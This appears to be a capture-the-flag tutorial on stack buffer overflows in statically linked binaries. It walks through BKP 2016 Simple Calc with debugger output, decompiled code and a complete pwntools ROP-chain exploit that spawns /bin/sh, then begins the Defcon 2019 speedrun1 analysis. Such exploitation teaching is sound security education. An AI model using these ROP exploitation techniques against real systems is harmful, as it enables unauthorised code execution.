$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────
stack ────
0x00007fffffffdee8│+0x0000: 0x00007ffff7e5ae50  →  <_IO_file_underflow+336> test
rax, rax     ← $rsp
0x00007fffffffdef0│+0x0008: 0x00007ffff7f7a447  →  "__vdso_getcpu"
0x00007fffffffdef8│+0x0010: 0x00007ffff7fafa00  →  0x00000000fbad2288
0x00007fffffffdf00│+0x0018: 0x00007ffff7fb1560  →  0x0000000000000000
0x00007fffffffdf08│+0x0020: 0x000000000000000a
0x00007fffffffdf10│+0x0028: 0x0000000000000000
0x00007fffffffdf18│+0x0030: 0x0000000000000008
0x00007fffffffdf20│+0x0038: 0x00007ffff7fafa00  →  0x00000000fbad2288
───────────────────────────────────────────────────────────────
code:x86:64 ────
   0x7ffffffddffa                add    BYTE PTR [rax], al
   0x7ffffffddffc                add    BYTE PTR [rax], al
   0x7ffffffddffe                add    BYTE PTR [rax], al
 → 0x7ffffffde000                add    BYTE PTR [rax], al
   0x7ffffffde002                add    BYTE PTR [rax], al
   0x7ffffffde004                add    BYTE PTR [rax], al
   0x7ffffffde006                add    BYTE PTR [rax], al
   0x7ffffffde008                add    BYTE PTR [rax], al
   0x7ffffffde00a                add    BYTE PTR [rax], al
───────────────────────────────────────────────────────────────
```

```
threads ────
[#0] Id 1, Name: "tryc", stopped, reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────
trace ────
[#0] 0x7ffffffde000 → add BYTE PTR [rax], al
[#1] 0x7ffff7e5ae50 → _IO_new_file_underflow(fp=0x7ffff7fafa00 <_IO_2_1_stdin_>)
[#2] 0x7ffff7e5c182 → __GI__IO_default_uflow(fp=0x7ffff7fafa00 <_IO_2_1_stdin_>)
[#3] 0x7ffff7e4e1fa → __GI__IO_getline_info(fp=0x7ffff7fafa00 <_IO_2_1_stdin_>,
buf=0x7fffffffdfde "", n=0x8, delim=0xa, extract_delim=0x1, eof=0x0)
[#4] 0x7ffff7e4e2e8 → __GI__IO_getline(fp=0x7ffff7fafa00 <_IO_2_1_stdin_>,
buf=0x7fffffffdfde "", n=<optimized out>, delim=0xa, extract_delim=0x1)
[#5] 0x7ffff7e4d1ab → _IO_fgets(buf=0x7fffffffdfde "", n=<optimized out>,
fp=0x7ffff7fafa00 <_IO_2_1_stdin_>)
[#6] 0x555555555174 → main()
───────────────────────────────────────────────────────────────────────────────
gef➤
```

We see here that as soon as we tried to execute code in the stack with `NX` enabled, we got a `SIGSEV`. This is because we tried to execute memory that was not executable.

So what's the bypass? THe typical bypass I use is to not execute code from the stack. Looking at the memory regions with `NX` enabled, we see that the `pie` and `libc` memory regions have some executable memory spaces where instructions are stored. We can leverage those to actually execute code through things like rop, even though in a lot of instances we can't write to those memory regions since the memory permissions are `rx`.

Boston Key Part 2016 Simple Calc

Let's take a look at the binary:

```
$    file simplecalc
simplecalc: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically
linked, for GNU/Linux 2.6.24,
BuildID[sha1]=3ca876069b2b8dc3f412c6205592a1d7523ba9ea, not stripped
$    pwn checksec simplecalc
[*] '/Hackery/pod/modules/bof_static/bkp16_simplecalc/simplecalc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./simplecalc
    |#------------------------------------#|
    |         Something Calculator         |
    |#------------------------------------#|

Expected number of calculations: 50
Options Menu:
 [1] Addition.
 [2] Subtraction.
 [3] Multiplication.
 [4] Division.
 [5] Save and Exit.
=> 1
Integer x: 1
Integer y: 1
Do you really need help calculating such small numbers?
Shame on you... Bye
```

So we can see that it is a 64 bit statically linked binary. The only binary mitigation it has is a Non-Executable stack so we can't push shellcode onto the stack and call it. When we run it, we see that it prompts us for a number of calculations. Then it allows us to do a number of calculations. Also it apparently won't let us calculate "small numbers". When we take a look at the main function in Ghidra (for me it was under a folder called `mai...`), we see this:

```c
undefined8 main(void)

{
  void *calculations;
  undefined vulnBuf [40];
  int calcChoice;
  int numberCalcs;
  int i;

  numberCalcs = 0;
  setvbuf((FILE *)stdin,(char *)0x0,2,0);
  setvbuf((FILE *)stdout,(char *)0x0,2,0);
  print_motd();
  printf("Expected number of calculations: ");
  __isoc99_scanf(&DAT_00494214,&numberCalcs);
  handle_newline();
  if ((numberCalcs < 0x100) && (3 < numberCalcs)) {
    calculations = malloc((long)(numberCalcs << 2));
    i = 0;
    while (i < numberCalcs) {
      print_menu();
      __isoc99_scanf(&DAT_00494214,&calcChoice);
      handle_newline();
      if (calcChoice == 1) {
        adds();
        *(undefined4 *)((long)i * 4 + (long)calculations) = add._8_4_;
      }
      else {
        if (calcChoice == 2) {
          subs();
          *(undefined4 *)((long)i * 4 + (long)calculations) = sub._8_4_;
        }
        else {
          if (calcChoice == 3) {
            muls();
            *(undefined4 *)((long)i * 4 + (long)calculations) = mul._8_4_;
          }
          else {
            if (calcChoice == 4) {
              divs();
              *(undefined4 *)((long)i * 4 + (long)calculations) = divv._8_4_;
            }
            else {
              if (calcChoice == 5) {
                memcpy(vulnBuf,calculations,(long)(numberCalcs << 2));
                free(calculations);
                return 0;
              }
              puts("Invalid option.\n");
            }
          }
```

```
        }
      }
      i = i + 1;
    }
    free(calculations);
  }
  else {
    puts("Invalid number.");
  }
  return 0;
}
```

So we can see that it starts of by prompting us for a number of calculations with the string `Expected number of calculations: `. It stores the number of calculations in `numberCalcs`. Then it checks to make sure the number of calculations is between `3` and `0x100` (If not it will print `Invalid number.` and just return). It will then malloc a size equal to `numberCalcs << 2` and store the pointer to it in `calculations`. This is the same operation as `numberCalcs * 4`. Just check out these calculations to see:

```
>>> 5 << 2
20
>>> 500 << 2
2000
>>> 500 * 4
2000
>>> 742 << 2
2968
>>> 742 * 4
2968
```

Here it is essentially allocating `numberCalcs` number of integers, which each of them are four bytes big. Then it will enter into a while loop that will run once for each calculation we will specify (unless if we choose to exit early). Looking at the assembly code (since the decompilation looks a bit weird) for the multiplication section, we see that it is calling the `muls` function:

```
        004014d3 83 f8 03        CMP        calculations,0x3
        004014d6 75 23           JNZ        LAB_004014fb
        004014d8 e8 cb fd        CALL       muls
undefined muls()
                 ff ff
```

When we look at the `muls` function, we see that it checks to ensure that the two numbers have to be equal to or greater than `0x27`. Looking at it, we see that it pretty much just multiplies the two numbers together. Looking at the other three calculation operations, they seem pretty similar (except for subtraction, addition, and division).

```
void muls(void)

{
  printf("Integer x: ");
  __isoc99_scanf(&DAT_00494214,mul);
  handle_newline();
  printf("Integer y: ");
  __isoc99_scanf(&DAT_00494214,0x6c4aa4);
  handle_newline();
  if ((0x27 < mul._0_4_) && (0x27 < mul._4_4_)) {
    mul._8_4_ = mul._4_4_ * mul._0_4_;
    printf("Result for x * y is %d.\n\n",(ulong)mul._8_4_);
    return;
  }
  puts("Do you really need help calculating such small numbers?\nShame on you...
Bye");
                    /* WARNING: Subroutine does not return */
  exit(-1);
}
```

However we can see that there is a bug that resides in the option to save and exit:

```
              if (calcChoice == 5) {
                memcpy(vulnBuf,calculations,(long)(numberCalcs << 2));
                free(calculations);
                return 0;
              }
```

If we choose this option, it will use `memcpy` to copy over all of our calculations into `vulnBuf`. Thing is it doesn't do a size check, so if we have enough calculations we can overflow the buffer and overwrite the return address (there is no stack canary to prevent this). Let's find the offset from the start of our input to the return address. We start off by setting a breakpoint for right after the `memcpy` call, then seeing where our input lands (also `321456948` in hex is `0x13290b34`):

```
gef➤  b *0x40154a
Breakpoint 1 at 0x40154a
gef➤  r
Starting program: /Hackery/pod/modules/bof_static/bkp16_simplecalc/simplecalc

   |#------------------------------------#|
   |         Something Calculator          |
   |#------------------------------------#|

Expected number of calculations: 50
Options Menu:
 [1] Addition.
 [2] Subtraction.
 [3] Multiplication.
 [4] Division.
 [5] Save and Exit.
=> 1
Integer x: 159
Integer y: 321456789
Result for x + y is 321456948.

Options Menu:
 [1] Addition.
 [2] Subtraction.
 [3] Multiplication.
 [4] Division.
 [5] Save and Exit.
=> 5
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffde60  →  0x0000000013290b34
$rbx   : 0x00000000004002b0  →  <_init+0> sub rsp, 0x8
$rcx   : 0x0
$rdx   : 0x0
$rsp   : 0x00007fffffffde50  →  0x00007fffffffdf88  →  0x00007fffffffe2c3  →
"/Hackery/pod/modules/bof_static/bkp16_simplecalc/s[...]"
$rbp   : 0x00007fffffffdea0  →  0x0000000000000000
$rsi   : 0x00000000006c8ca8  →  0x0000000000020361
$rdi   : 0x00007fffffffdf28  →  0x0000000000000000
$rip   : 0x000000000040154a  →  <main+455> mov rax, QWORD PTR [rbp-0x10]
$r8    : 0x0
$r9    : 0x0
$r10   : 0x0
$r11   : 0x0
$r12   : 0x0
$r13   : 0x0000000000401c00  →  <__libc_csu_init+0> push r14
$r14   : 0x0000000000401c90  →  <__libc_csu_fini+0> push rbx
$r15   : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────── stack ────
```

```
0x00007fffffffde50│+0x0000: 0x00007fffffffdf88  →  0x00007fffffffe2c3  →
"/Hackery/pod/modules/bof_static/bkp16_simplecalc/s[...]"  ← $rsp
0x00007fffffffde58│+0x0008: 0x0000000100400d41 ("A\r@"?)
0x00007fffffffde60│+0x0010: 0x0000000013290b34   ← $rax
0x00007fffffffde68│+0x0018: 0x0000000000000000
0x00007fffffffde70│+0x0020: 0x0000000000000000
0x00007fffffffde78│+0x0028: 0x0000000000000000
0x00007fffffffde80│+0x0030: 0x0000000000000000
0x00007fffffffde88│+0x0038: 0x0000000000000000
──────────────────────────────────────────────────────────────── code:x86:64 ────
     0x40153d <main+442>       rex.RB ror BYTE PTR [r8-0x77], 0xce
     0x401542 <main+447>       mov    rdi, rax
     0x401545 <main+450>       call   0x4228d0 <memcpy>
 →   0x40154a <main+455>       mov    rax, QWORD PTR [rbp-0x10]
     0x40154e <main+459>       mov    rdi, rax
     0x401551 <main+462>       call   0x4156d0 <free>
     0x401556 <main+467>       mov    eax, 0x0
     0x40155b <main+472>       jmp    0x401588 <main+517>
     0x40155d <main+474>       mov    edi, 0x494402
──────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "simplecalc", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40154a → main()
─────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x000000000040154a in main ()
gef➤  search-pattern 0x13290b34
[+] Searching '0x13290b34' in memory
[+] In '[heap]'(0x6c3000-0x6e9000), permission=rw-
  0x6c4a88 - 0x6c4a98  →   "\x34\x0b\x29\x13[...]"
  0x6c8be0 - 0x6c8bf0  →   "\x34\x0b\x29\x13[...]"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
  0x7fffffffb0c8 - 0x7fffffffb0d8  →   "\x34\x0b\x29\x13[...]"
  0x7fffffffde60 - 0x7fffffffde70  →   "\x34\x0b\x29\x13[...]"
gef➤  i f
Stack level 0, frame at 0x7fffffffdeb0:
 rip = 0x40154a in main; saved rip = 0x0
 Arglist at 0x7fffffffdea0, args:
 Locals at 0x7fffffffdea0, Previous frame's sp is 0x7fffffffdeb0
 Saved registers:
  rbp at 0x7fffffffdea0, rip at 0x7fffffffdea8
```

So we can see that the offset between the start of our input and the return address is `0x7fffffffdea8 - 0x7fffffffde60 = 0x48`, which will be `18` integers. Now for what to execute when we get the return address. Since the binary is statically linked and there is no PIE, we can just build a rop chain using the binary for gadgets and without an infoleak. The ROP Chain will essentially just make an execve syscall to `/bin/sh`. There are four registers that we need to control in order to make this syscall (checkout https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/ for more details):

```
rax:  0x3b              Specify execve syscall
rdi:  ptr to "/bin/sh"  Specify file to run
rsi:  0x0               Specify no arguments
rdx:  0x0               Specify no environment variables
```

To do this, we will need gadgets to control those four register. I typically like to go with gadgets like `pop rax; ret`, since it makes it simple. We will also need a gadget to write the string `/bin/sh` somewhere in memory that we know. Let's find our gadgets using ROPGadget (checkout https://github.com/JonathanSalwan/ROPgadget):

```
$ python ROPgadget.py --binary simplecalc | grep "pop rax ; ret"
0x000000000044db32 : add al, ch ; pop rax ; ret
0x000000000040b032 : add al, ch ; pop rax ; retf 2
0x000000000040b02f : add byte ptr [rax], 0 ; add al, ch ; pop rax ; retf 2
0x000000000040b030 : add byte ptr [rax], al ; add al, ch ; pop rax ; retf 2
0x00000000004b0801 : in al, 0x4c ; pop rax ; retf
0x000000000040b02e : in al, dx ; add byte ptr [rax], 0 ; add al, ch ; pop rax ;
retf 2
0x0000000000474855 : or dh, byte ptr [rcx] ; ror byte ptr [rax - 0x7d], 0xc4 ;
pop rax ; ret
0x000000000044db34 : pop rax ; ret
0x000000000045d707 : pop rax ; retf
0x000000000040b034 : pop rax ; retf 2
0x0000000000474857 : ror byte ptr [rax - 0x7d], 0xc4 ; pop rax ; ret
$ python ROPgadget.py --binary simplecalc | grep "pop rdi ; ret"
0x000000000044bbbc : inc dword ptr [rbx - 0x7bf0fe40] ; pop rdi ; ret
0x0000000000401b73 : pop rdi ; ret
$ python ROPgadget.py --binary simplecalc | grep "pop rsi ; ret"
0x00000000004ac9b4 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rsi ;
ret
0x00000000004ac9b6 : add byte ptr [rax], al ; pop rsi ; ret
0x0000000000437aa9 : pop rdx ; pop rsi ; ret
0x0000000000401c87 : pop rsi ; ret
$ python ROPgadget.py --binary simplecalc | grep "pop rdx ; ret"
0x00000000004a868c : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rdx ;
ret 0x45
0x00000000004a868e : add byte ptr [rax], al ; pop rdx ; ret 0x45
0x00000000004afd61 : js 0x4afde1 ; pop rdx ; retf
0x0000000000414ed0 : or al, ch ; pop rdx ; ret 0xffff
0x0000000000437a85 : pop rdx ; ret
0x00000000004a8690 : pop rdx ; ret 0x45
0x00000000004b2dd8 : pop rdx ; ret 0xfffd
0x0000000000414ed2 : pop rdx ; ret 0xffff
0x00000000004afd63 : pop rdx ; retf
0x000000000044af60 : pop rdx ; retf 0xffff
0x00000000004560ae : test byte ptr [rdi - 0x1600002f], al ; pop rdx ; ret
```

So we can see the gadgets for controlling the four registers are at `0x44db34`, `0x401b73`, `0x401c87`, and `0x437a85`. Now we need a gadget that will write an eight byte value to a memory region. For this I would like to start my search by searching through the gadgets with `mov` in them:

```
$ python ROPgadget.py --binary simplecalc | grep "mov" | less
```

after a bit of searching, we find this gadget:

```
0x000000000044526e : mov qword ptr [rax], rdx ; ret
```

This gadget will move the four byte value from `rdx` to whatever memory is pointed to by `rax`. This is exactly what we need, and a bit convenient since we already have the gadgets for those two registers and this gadget doesn't do anything else that we need to worry about. The last gadget we need will be a `syscall` gadget:

```
$ python ROPgadget.py --binary simplecalc | grep ": syscall"
0x0000000000400488 : syscall
```

There are two more things we need to figure out. The first is where in memory we will write the string `/bin/sh`. Let's check the memory mappings while the binary is running:

```
gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004c1000 0x0000000000000000 r-x /Hackery
/pod/modules/bof_static/bkp16_simplecalc/simplecalc
0x00000000006c0000 0x00000000006c3000 0x00000000000c0000 rw- /Hackery
/pod/modules/bof_static/bkp16_simplecalc/simplecalc
0x00000000006c3000 0x00000000006c6000 0x0000000000000000 rw-
0x0000000001971000 0x0000000001994000 0x0000000000000000 rw- [heap]
0x00007fffbde39000 0x00007fffbde5a000 0x0000000000000000 rw- [stack]
0x00007fffbdfe6000 0x00007fffbdfe9000 0x0000000000000000 r-- [vvar]
0x00007fffbdfe9000 0x00007fffbdfeb000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x/g 0x6c0000
0x6c0000: 0x200e41280e41300e
gef➤  x/20g 0x6c0000
0x6c0000: 0x200e41280e41300e  0x0e42100e42180e42
0x6c0010: 0x00000000000b4108  0x0000d0a40000002c
0x6c0020: 0x0000006cfffd1fd0  0x080e0a69100e4400
0x6c0030: 0x0b42080e0a460b4b  0x0e470b49080e0a57
0x6c0040: 0x0000000000000008  0x0000d0d400000024
0x6c0050: 0x00000144fffd2010  0x5a020283100e4500
0x6c0060: 0x0ee3020b41080e0a  0x0000000000000008
0x6c0070: 0x0000d0fc00000064  0x0000026cfffd2138
0x6c0080: 0x0e47028f100e4200  0x048d200e42038e18
0x6c0090: 0x300e41058c280e42  0x440783380e410686
gef➤  x/20g 0x6c1000
0x6c1000: 0x0000000000000000  0x0000000000000000
0x6c1010: 0x0000000000000000  0x0000000000431070
0x6c1020: 0x0000000000430a40  0x0000000000428e20
0x6c1030: 0x00000000004331b0  0x0000000000424c50
0x6c1040: 0x000000000042b940  0x0000000000423740
0x6c1050: 0x00000000004852d0  0x00000000004178d0
0x6c1060: 0x0000000000000000  0x0000000000000000
0x6c1070 <_dl_tls_static_size>: 0x0000000000001180  0x0000000000000000
0x6c1080 <_nl_current_default_domain>:  0x00000000004945f7  0x0000000000000000
0x6c1090 <locale_alias_path.10061>: 0x000000000049462a  0x00000000006c32a0
```

We see that the memory region that begins at `0x6c0000` and ends at `0x6c3000` looks like a good candidate. The permissions allow us to read and write to it. In addition to that it is mapped from the binary, and since there is no PIE the addresses will be the same every time (no infoleak needed). Looking a bit through the memory, `0x6c1000` looks like it's empty so we should be able to write to it without messing ip anything (although we could be wrong with that).

The second thing we need to worry about deals with what we are overflowing on the stack.

```
  void *calculations;
  undefined vulnBuf [40];
  int calcChoice;
  int numberCalcs;
  int i;
```

We see that between `vulnBuf` and the bottom of the stack (where the return address resides) is the pointer `calculations`. This will get overwritten as part of the overflow. This is a problem since this address is freed prior to our code being executed:

```
                memcpy(vulnBuf,calculations,(long)(numberCalcs << 2));
                free(calculations);
                return 0;
```

However looking at the source code for free tells us something extremely helpful in this instance (I found it here: https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#free):

```
__libc_free (void *mem)
{
  mstate ar_ptr;
  mchunkptr p;                          /* chunk corresponding to mem */
  void (*hook) (void *, const void *)
    = atomic_forced_read (__free_hook);
  if (__builtin_expect (hook != NULL, 0))
    {
      (*hook)(mem, RETURN_ADDRESS (0));
      return;
    }
  if (mem == 0)                              /* free(0) has no effect */
    return;
```

We can see here that if the argument we pass to free is a null pointer (`0x0`) then it just returns. Since the function writing the data for the overflow is `memcpy` , we can write null bytes. So if we just fill up the space between the start of our input and the return address with null bytes, we will be fine.

With that, we have everything we need to make the exploit. In the comments, you can find the exact ROP chain I used as well as what each part does. Also I wrote some helper functions which will write the values I want using addition:

```
from pwn import *

target = process('./simplecalc')
#gdb.attach(target, gdbscript = 'b *0x40154a')

target.recvuntil('calculations: ')
target.sendline('100')

# Establish our rop gadgets
popRax = 0x44db34
popRdi = 0x401b73
popRsi = 0x401c87
popRdx = 0x437a85

# 0x000000000044526e : mov qword ptr [rax], rdx ; ret
movGadget = 0x44526e

syscall = 0x400488

# These two functions are what we will use to give input via addition
def addSingle(x):
  target.recvuntil("=> ")
  target.sendline("1")
  target.recvuntil("Integer x: ")
  target.sendline("100")
  target.recvuntil("Integer y: ")
  target.sendline(str(x - 100))


def add(z):
  x = z & 0xffffffff
  y = ((z & 0xffffffff00000000) >> 32)
  addSingle(x)
  addSingle(y)

# Fill up the space between the start of our input and the return address
for i in xrange(9):
  # Fill it up with null bytes, to make the ptr passed to free be a null pointer
  # So free doesn't crash
  add(0x0)

# Start writing th0e rop chain
'''
This is our ROP Chain

Write "/bin/sh" tp 0x6c1000

pop rax, 0x6c1000 ; ret
pop rdx, "/bin/sh\x00" ; ret
mov qword ptr [rax], rdx ; ret

# Move the needed values into the registers
```

```
pop rax, 0x3b ; ret
pop rdi, 0x6c1000 ; ret
pop rsi, 0x0 ; ret
pop rdx, 0x0 ; ret
'''
add(popRax)
add(0x6c1000)
add(popRdx)
add(0x0068732f6e69622f) # "/bin/sh" in hex
add(movGadget)

add(popRax) # Specify which syscall to make
add(0x3b)

add(popRdi) # Specify pointer to "/bin/sh"
add(0x6c1000)

add(popRsi) # Specify no arguments or environment variables
add(0x0)
add(popRdx)
add(0x0)

add(syscall) # Syscall instruction

target.sendline('5') # Save and exit to execute memcpy and trigger buffer
overflow

# Drop to an interactive shell to use our new shell
target.interactive()
```

When we run the exploit:

```
$ python exploit.py
[+] Starting local process './simplecalc': pid 15676
[*] Switching to interactive mode
Result for x + y is 0.

Options Menu:
 [1] Addition.
 [2] Subtraction.
 [3] Multiplication.
 [4] Division.
 [5] Save and Exit.
=> $ w
 20:06:39 up  5:53,  1 user,  load average: 1.71, 1.30, 1.37
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               14:13   ?xdm?  22:10   0.00s /usr/lib
/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-
session --session=ubuntu
$ ls
core  exploit.py  readme.md  simplecalc
```

Just like that, we popped a shell!

Defcon Quals 2019 Speedrun1

Let's take a look at the binary:

```
$    file speedrun-001
speedrun-001: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux),
statically linked, for GNU/Linux 3.2.0,
BuildID[sha1]=e9266027a3231c31606a432ec4eb461073e1ffa9, stripped
$    pwn checksec speedrun-001
[*] '/Hackery/pod/modules/bof_static/dcquals19_speedrun1/speedrun-001'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./speedrun-001
Hello brave new challenger
Any last words?
15935728
This will be the last thing that you say: 15935728

Alas, you had no luck today.
```

So we can see that we are dealing with a 64 bit statically compiled binary. This binary has NX (Non-Executable stack) enabled, which means that the stack memory region is not executable. For more info on this, we can check the memory mappings with the `vmmap` command while the binary is running:

```
gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /Hackery
/pod/modules/bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /Hackery
/pod/modules/bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
0x00007ffff7ffa000 0x00007ffff7ffd000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
```

Here we can see that the memory region for the stack begins at `0x00007ffffffde000` and ends at `0x00007ffffffff000`. We can see that the permissions are `rw`. There are three different permissions you can assign to a memory region, `r` for it to be readable, `w` for it to be writable, and `x` for it to be executable. Since the stack has the permissions `rw` assigned to it, we can read and write to it. So pushing shellcode onto the stack and executing it isn't an option.

Also since the binary is statically compiled, that means that the libc portions the binary needs are compiled with the binary. So libc is not linked to the binary (as you can see there is no libc memory region). As a result, there are a lot of potential gadgets (will be covered later in this writeup) for us to use. In addition to that, since PIE (Position Independent Executable) is not enabled we know the addresses of all of those gadgets. What PIE does is it essentially incorporates ASLR into addresses from the binary, so we would need to leak an address from that memory region to know any of the addresses. Also since the binary has a lot more code in it as a result of being statically compiled, ghidra will take a bit of time to analyze it.

When we run the binary, it essentially just prompts us for input. When we take a look at the binary in Ghidra, we see a long list of functions. To find out which one actually runs the code we look for, we can use the backtrace (`bt`) command in gdb when it prompts us for input, which will tell us the functions that have been called to reach the point we are at:

```
gef➤  r
Starting program: /Hackery/pod/modules/bof_static/dcquals19_speedrun1
/speedrun-001
Hello brave new challenger
Any last words?
^C
Program received signal SIGINT, Interrupt.
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────
registers ────
$rax   : 0xfffffffffffffe00
$rbx   : 0x0000000000400400  →   sub rsp, 0x8
$rcx   : 0x00000000004498ae  →  0x5a77fffff0003d48 ("H="?)
$rdx   : 0x7d0
$rsp   : 0x00007fffffffda28  →  0x0000000000400b90  →   lea rax, [rbp-0x400]
$rbp   : 0x00007fffffffde30  →  0x00007fffffffde50  →  0x0000000000401900  →
push r15
$rsi   : 0x00007fffffffda30  →  0x0000000000000000
$rdi   : 0x0
$rip   : 0x00000000004498ae  →  0x5a77fffff0003d48 ("H="?)
$r8    : 0xf
$r9    : 0x0
$r10   : 0x000000000042ae30  →   pslldq xmm2, 0x3
$r11   : 0x246
$r12   : 0x00000000004019a0  →   push rbp
$r13   : 0x0
$r14   : 0x00000000006b9018  →  0x0000000000440ea0  →   mov rcx, rsi
$r15   : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────
stack ────
0x00007fffffffda28│+0x0000: 0x0000000000400b90  →   lea rax, [rbp-0x400]     ←
$rsp
0x00007fffffffda30│+0x0008: 0x0000000000000000     ← $rsi
0x00007fffffffda38│+0x0010: 0x0000000000000000
0x00007fffffffda40│+0x0018: 0x0000000000000000
0x00007fffffffda48│+0x0020: 0x0000000000000000
0x00007fffffffda50│+0x0028: 0x0000000000000000
0x00007fffffffda58│+0x0030: 0x0000000000000000
0x00007fffffffda60│+0x0038: 0x0000000000000000
────────────────────────────────────────────────────────────────────────
code:x86:64 ────
     0x44989f                  add    BYTE PTR [rbx+0x272f6605], cl
     0x4498a5                  add    BYTE PTR [rbp+0x311675c0], al
     0x4498ab                  ror    BYTE PTR [rdi], 0x5
 →   0x4498ae                  cmp    rax, 0xfffffffffffff000
     0x4498b4                  ja     0x449910
     0x4498b6                  repz   ret
     0x4498b8                  nop    DWORD PTR [rax+rax*1+0x0]
     0x4498c0                  push   r12
```

```
    0x4498c2                  push   rbp
```

```
threads ────
[#0] Id 1, Name: "speedrun-001", stopped, reason: SIGINT
```

```
trace ────
[#0] 0x4498ae → cmp rax, 0xfffffffffffff000
[#1] 0x400b90 → lea rax, [rbp-0x400]
[#2] 0x400c1d → mov eax, 0x0
[#3] 0x4011a9 → mov edi, eax
[#4] 0x400a5a → hlt
```

```
0x00000000004498ae in ?? ()
gef➤  bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()
```

After this I started jumping to the various addresses listed there (you can just push `g` in ghidra and enter the address), and looked at the decompiled code to see what's interesting. After jumping to a few of them, `0x400c1d` looks like it's the main function:

```
undefined8
main(undefined8 uParm1,undefined8 uParm2,undefined8 uParm3,undefined8
uParm4,undefined8 uParm5,
    undefined8 uParm6)

{
  long lVar1;

  FUN_00410590(PTR_DAT_006b97a0,0,2,0,uParm5,uParm6,uParm2);
  lVar1 = FUN_0040e790("DEBUG");
  if (lVar1 == 0) {
    FUN_00449040(5);
  }
  FUN_00400b4d();
  FUN_00400b60();
  FUN_00400bae();
  return 0;
}
```

When we look at the functions `FUN_00400b4d` and `FUN_00400bae`, we see that the essentially just print out text (which matches with what we saw earlier). Looking at the `FUN_00400b60` function shows us something interesting:

```
void interesting(void)

{
  undefined input [1024];

  FUN_00410390("Any last words?");
  FUN_004498a0(0,input,2000);
  FUN_0040f710("This will be the last thing that you say: %s\n",input);
  return;
}
```

So we can see it prints out a message, runs a function (which is based on using the binary and the order of the messages, probably scans in data), then prints a message with our input. Looking at the function `FUN_004498a0` , it seems a bit weird:

```
/* WARNING: Removing unreachable block (ram,0x00449910) */
/* WARNING: Removing unreachable block (ram,0x00449924) */

undefined8 FUN_004498a0(undefined8 uParm1,undefined8 uParm2,undefined8 uParm3)

{
  uint uVar1;

  if (DAT_006bc80c == 0) {
    syscall();
    return 0;
  }
  uVar1 = FUN_0044be40();
  syscall();
  FUN_0044bea0((ulong)uVar1,uParm2,uParm3);
  return 0;
}
```

It appears to be scanning in our input by making a syscall, versus using a function like `scanf` or `fgets` . A syscall is essentially a way for your program to request your OS or Kernel to do something. Looking at the assembly code, we see that it sets the `RAX` register equal to `0` by xoring `eax` by itself. For the linux `x64` architecture, the contents of the `rax` register decides what syscall gets executed. And when we look on the sycall chart (https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/) we see that it corresponds to the `read` syscall. We don't see the arguments being loaded for the syscall, since they were already loaded when this function was called. The arguments this function takes (and the registers they take it in) are the same as the read syscall, so it can just call it after it zeroes at `rax` . More on syscalls to come:

```
        004498aa 31 c0           XOR        EAX,EAX
        004498ac 0f 05           SYSCALL
```

So with that, we can see it is scanning in `2000` bytes worth of input into `input` which can hold `1024` bytes. We have an overflow that we can overwrite the return address with and get code execution. The question now is what to do with it?

We will be making a ROP Chain (Return Oriented Programming) and using the buffer overflow to execute it. A ROP Chain is made up of ROP Gadgets, which are bits of code in the binary itself that end in a `ret` instruction (which will carry it over to the next gadget). We will essentially just stitch together pieces of the binary's code, to make code that will give us a shell. Since this is all valid code, we don't have to worry about the code being non-executable. Since PIE is disabled, we know the addresses of all of the binary's instructions. Also since it is statically linked, that means it is a large binary with plenty of gadgets. Also just a fun side note, if you make a gadget that jumps in the middle of an instruction it completely changes what the instruction does.

